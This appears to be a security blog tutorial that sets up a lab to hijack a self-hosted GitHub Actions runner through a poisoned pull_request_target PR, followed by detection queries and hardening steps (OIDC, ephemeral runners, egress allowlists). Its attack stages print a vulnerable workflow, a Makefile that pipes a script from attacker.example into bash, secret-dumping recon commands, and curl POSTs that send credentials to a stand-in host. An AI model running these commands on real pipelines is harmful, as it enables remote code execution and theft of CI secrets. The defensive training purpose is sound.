Attack a CI/CD Pipeline: Build a Self-Hosted Runner Hijack Lab with a GitHub Actions Walkthrough

Attack a CI/CD Pipeline: Build a Self-Hosted Runner Hijack Lab with a GitHub Actions Walkthrough

📋 Key Takeaways
  • Traditional CI security has a well-established playbook: pin dependencies, rotate credentials, scan artifacts.
  • This lab is deliberately self-contained. You are attacking infrastructure you own—never point these techniques at repositories you don't control.
  • name: Vulnerable PR Check on: pull_request_target jobs: build: runs-on: self-hosted steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.ref }} repository: ${{ github.event.pull_request.head.repo.full_name }} - run: make ci env: DECOY_AWS_KEY: ${{ secrets.DECOY_AWS_KEY }} DECOY_API_TOKEN: ${{ secrets.DECOY_API_TOKEN }} This is the canonical anti-pattern: the workflow…
  • The attacker (you, in a second account or fork) submits a PR from a fork containing one change—a malicious Makefile
10 min read · 1,971 words
Educational & Ethical Use Only — This article is provided for educational and ethical cybersecurity research purposes only. The techniques described should only be used on systems you own or have explicit permission to test. Always follow responsible disclosure and the laws applicable to you. Mitigations are included so engineers can harden real systems.
Security· 10 min read

A self-hosted runner hijack happens when attacker-controlled code executes on your CI infrastructure—typically via a poisoned pull request using pull_request_target—and persists on a runner that looks ephemeral but isn’t, exfiltrating secrets from the environment before anyone notices. This lab reproduces that attack safely on your own hardware, then fixes it with OIDC federation, egress controls, and safer workflow patterns.

Why Self-Hosted Runners Are a High-Value Target

Traditional CI security has a well-established playbook: pin dependencies, rotate credentials, scan artifacts. Self-hosted GitHub Actions runners throw most of that out the window. Unlike GitHub-hosted runners—which are provisioned fresh, isolated in ephemeral VMs, and destroyed after every job—self-hosted runners are machines you own, often long-lived, often reused across jobs, and often sitting inside your corporate network with line-of-sight to internal services.

That combination creates three compounding risks:

  • Persistence. A compromised self-hosted runner keeps its state between jobs. Malware, modified runner binaries, or planted cron jobs survive reboots. GitHub explicitly warns that self-hosted runners should not be used with untrusted workflows—the machine may be compromised permanently after a single malicious job.
  • Network position. A runner in your VPC can reach internal APIs, databases, cloud metadata endpoints (169.254.169.254), and staging systems that no GitHub-hosted runner could touch. You’re not just losing a build box—you’re handing an attacker a foothold inside the perimeter.
  • Secrets exposure. Repository secrets, GITHUB_TOKEN credentials, Docker registry logins, and cloud keys are all injected into the runner environment at job time. On a persistent machine, environment dumps and cache directories linger on disk.

Scoping matters enormously here. Org-level runners can be claimed by any repository in the organization that’s allowed to use them—meaning a compromise in a low-value public repo pivots to every pipeline in your org. Repo-level runners contain the blast radius to a single repository. For anything touching untrusted code, repo-level scoping is the only sane default.

CISA and NSA guidance on CI/CD supply chain security (September 2023) flags exactly this pattern: shared, persistent build infrastructure combined with third-party code execution is one of the highest-probability compromise paths in modern software delivery.

Lab Architecture and Prerequisites

This lab is deliberately self-contained. You are attacking infrastructure you own—never point these techniques at repositories you don’t control.

  • Runner host: One Linux VM or Docker container (Ubuntu 22.04+). A container is fine for the lab, but note that real-world runners are often bare metal—part of the problem.
  • GitHub repo or organization: A private test repo (private avoids accidental exposure and keeps the GITHUB_TOKEN scope discussion realistic).
  • Decoy secrets: Two repository secrets, e.g., DECOY_AWS_KEY and DECOY_API_TOKEN, with fake but realistic-looking values.
  • Tooling: gh CLI (authenticated), Docker, the GitHub Actions runner package, and a simple egress listener (Netcat or a Python HTTP server) to act as the “attacker” collection endpoint.
  • Optional egress proxy: Squid or an iptables ruleset to enforce allowlists in the hardening phase.

Setting Up the Vulnerable Pipeline

  1. Register a self-hosted runner. In your repo: Settings → Actions → Runners → New self-hosted runner. Download, configure with the provided token, and install as a service (this is what real orgs do—and what enables persistence). Skip the --ephemeral flag for now; you’ll add it during hardening.
  2. Create the vulnerable workflow at .github/workflows/vulnerable.yml:
name: Vulnerable PR Check
on: pull_request_target
jobs:
  build:
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}
          repository: ${{ github.event.pull_request.head.repo.full_name }}
      - run: make ci
        env:
          DECOY_AWS_KEY: ${{ secrets.DECOY_AWS_KEY }}
          DECOY_API_TOKEN: ${{ secrets.DECOY_API_TOKEN }}

This is the canonical anti-pattern: the workflow runs in the context of the base repository (so it has access to secrets), but the checkout step pulls the attacker-controlled head ref. Whatever make ci resolves to in the PR is executed with full secret access.

  1. Add a Makefile on the main branch so the pipeline runs clean for legitimate PRs.

Attack Stage 1: The Poisoned Pull Request

The attacker (you, in a second account or fork) submits a PR from a fork containing one change—a malicious Makefile:

ci:
	curl -s https://attacker.example/shell.sh | bash

Because pull_request_target fires automatically for fork PRs (no approval required by default for first-time contributors unless you’ve enabled it), the workflow triggers on the base repo’s runner, checks out the fork’s code, and executes the fork’s Makefile. No exploit chain, no dependency confusion—just a workflow configuration bug. This exact pattern has enabled takeovers of well-known open-source projects and is catalogued by OWASP in its CI/CD security guidance (part of the Top 10 CI/CD Security Risks, based on the OmniSCAD research from 2022).

Attack Stage 2: Runner Persistence and Recon

Inside the job, the attacker now runs with the runner service account’s privileges. Recon in a real hijack looks like this:

# Dump the environment — secrets arrive as env vars
env | grep -Ei 'aws|token|secret|key' > /tmp/recon.txt

# Check GITHUB_TOKEN scope
curl -s -H "Authorization: Bearer $ACTIONS_RUNTIME_TOKEN" 
  https://api.github.com/repos/owner/repo

# Cloud metadata? Only if the runner sits in a cloud VPC — check it
curl -s -m 2 http://169.254.169.254/latest/meta-data/iam/info

# What else can this box reach?
ss -tunlp; cat /etc/hosts; ip route

Because the runner was installed as a persistent service (not --ephemeral), the attacker can also plant a persistence mechanism—a modified runner binary, a systemd unit, or a reverse shell launched detached from the job. In a CTF context, simulate persistence with a backgrounded listener writing to your egress endpoint rather than an actual reverse shell; the detection telemetry is identical.

Attack Stage 3: Secret Exfiltration

Point your “attacker” listener at a second machine or an ngrok tunnel, then exfiltrate from the job:

# Dump secrets and caches to attacker endpoint
tar czf /tmp/loot.tgz /tmp/recon.txt ~/.docker/config.json 
  /home/runner/_work/_temp 2>/dev/null
curl -X POST --data-binary @/tmp/loot.tgz https://attacker.example/collect
curl -X POST -d "$DECOY_AWS_KEY|$DECOY_API_TOKEN" 
  https://attacker.example/keys

Your listener log will show the POST with the decoy values. In a real intrusion, this is where cached npm credentials, Docker registry tokens, and cloud keys walk out the door—often with no alert at all, because outbound HTTPS from a build server looks like every other build.

Detecting Runner Compromise: Blue-Team Telemetry

Detection hinges on correlating three signal classes:

  • Audit log anomalies. Watch workflow_run events paired with pull_request_target triggers from forked repos, and runners.registered / runner_group_changed events you didn’t initiate. Repeated runner re-registrations from the same machine is a classic persistence signature.
  • Workflow log indicators. Grep Actions logs for unexpected curl/wget to non-vendor domains, base64 blobs in run commands, and jobs on self-hosted runners triggered by pull_request_target from first-time forks.
  • Host telemetry. On the runner itself: child processes spawned by the runner service that aren’t build tools, outbound connections to unclassified IPs, and modifications under the runner install directory.

A practical Sentinel/Splunk-style query skeleton against GitHub audit logs:

github_audit_data
| where operation in ("runners.registered","runners.removed")
| summarize reg_count=count() by actor, bin(TimeGenerated, 1h)
| where reg_count > 3

GitHub’s own audit log event reference and CISA’s CI/CD guidance both recommend alerting on runner lifecycle events—most orgs never log them at all.

Hardening 1: Replace Long-Lived Secrets with OIDC

The single highest-leverage fix: stop storing cloud credentials as Actions secrets. GitHub’s OIDC provider lets workflows mint short-lived tokens that your cloud provider exchanges for a role session via a trust policy—no static keys anywhere.

permissions:
  id-token: write
  contents: read
jobs:
  deploy:
    runs-on: self-hosted
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/ci-deploy
          aws-region: us-east-1

The trust policy scopes federation to your repo and workflow:

{
  "Effect": "Allow",
  "Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com" },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub": "repo:owner/repo:ref:refs/heads/main"
    }
  }
}

With OIDC, a hijacked runner yields at most a token valid for minutes, scoped to one role—dramatically shrinking the exfiltration payoff.

Hardening 2: Egress Controls and Runner Isolation

  • Runners with --ephemeral. The flag deregisters the runner after a single job, eliminating cross-job persistence. Pair with autoscaling (e.g., ARC on Kubernetes, or an AWS EC2 autoscaling fleet) so ephemeral runners are genuinely fresh VMs.
  • One runner per job, one repo per runner pool. Never share untrusted-code runners with production deploy runners.
  • Egress allowlists. Firewalled runners should reach exactly: github.com, objects.githubusercontent.com, your package registries, and your cloud APIs. Deny 169.254.169.254 via IMDSv2 hop limits on AWS, and alert on everything else.
  • Network segmentation. Put runners in a dedicated subnet with no route to production databases or internal admin planes.

Hardening 3: Safer Workflow Patterns

  • Never combine pull_request_target with a checkout of the head ref. If you must run privileged workflows on PRs, check out the base ref only and treat PR code as data, never as instructions.
  • Require approval for first-time contributors (Settings → Actions → General → Fork pull request workflows).
  • Gate privileged workflows with environment protection rules and CODEOWNERS, so deploys require explicit review.
  • Route untrusted builds to GitHub-hosted runners. Let GitHub eat the risk for fork PRs; reserve self-hosted capacity for trusted, post-merge workloads.

Cleanup, Checklist, and CTF Flag Ideas

Tear down the lab: delete the workflow, remove the runner (./config.sh remove), revoke the runner registration token, delete decoy secrets, and destroy the VM/container—don’t snapshot a compromised box back into your template library.

Printable hardening checklist:

  • ☐ All self-hosted runners run with --ephemeral
  • ☐ No pull_request_target + head-ref checkout anywhere
  • ☐ First-time contributor approval enabled
  • ☐ Cloud credentials replaced with OIDC federation
  • ☐ Egress allowlist enforced and logged
  • ☐ Runners repo-scoped, not org-scoped, for untrusted code
  • ☐ Audit log alerts on runner registration events
  • ☐ IMDSv2 / metadata endpoint blocked on cloud runners

CTF flag ideas for organizers: hide a flag in a decoy secret recovered via the poisoned PR (Stage 3); award a second flag for detecting the simulated persistence from blue-team audit logs; and a bonus flag for the first team to harden the pipeline so the same PR no longer executes. This structure trains both red and blue muscles in a single exercise.

Frequently Asked Questions

Is running untrusted PR code on a self-hosted runner ever safe?

No—not for public repositories, and not as a standing practice. If you must execute untrusted code, do it on GitHub-hosted runners or fully isolated, ephemeral infrastructure with approval gates enabled. Assume any job running third-party code compromises its host permanently.

Why is pull_request_target dangerous?

Because it runs in the context of the base repository—with access to its secrets—while many workflows then check out the attacker-controlled head ref and execute code from the fork. You’ve combined privileged credentials with attacker-supplied instructions in a single job.

How does OIDC replace stored cloud credentials in Actions?

GitHub mints a short-lived OIDC token per job; your cloud provider’s IdP validates it against a trust policy scoped to your repo and workflow, then issues a temporary role session. No long-lived keys exist to steal, and stolen tokens expire in minutes.

Should I use org-level or repo-level self-hosted runners?

Repo-level for anything touching untrusted code. Org-level runners expose every repository in the organization to a single compromised runner—turning one hijacked public-repo build into an org-wide pivot.

What is the –ephemeral flag for runners?

It configures the runner to deregister itself after completing one job, so no machine state, sessions, or registration survive between runs—closing the persistence door that makes self-hosted runner hijacks so damaging.

Hmmnm
Published by Hmmnm

Hands-on cybersecurity tutorials, CVE breakdowns, and guided learning paths — written and lab-tested by the Hmmnm team.

🛡️ Hmmnm also delivers this expertise as a service — security testing, assessment & training.
Keep going — the structured way
This post is one step. The learning paths chain the next ones for you, with progress tracking and no account needed.
Follow a learning path →

Prabhu Kalyan Samal

Application Security Consultant at TCS. Certifications: CompTIA SecurityX, Burp Suite Certified Practitioner, Azure Security Engineer, Azure AI Engineer, Certified Red Team Operator, eWPTX v3, LPT, CompTIA PenTest+, Professional Cloud Security Engineer, SC-900, SC-200, PSPO I, CEH, Oracle Java SE 8, ISP, Six Sigma Green Belt, DELF, AutoCAD. Writing about ethical hacking, security tutorials, and tech education at Hmmnm.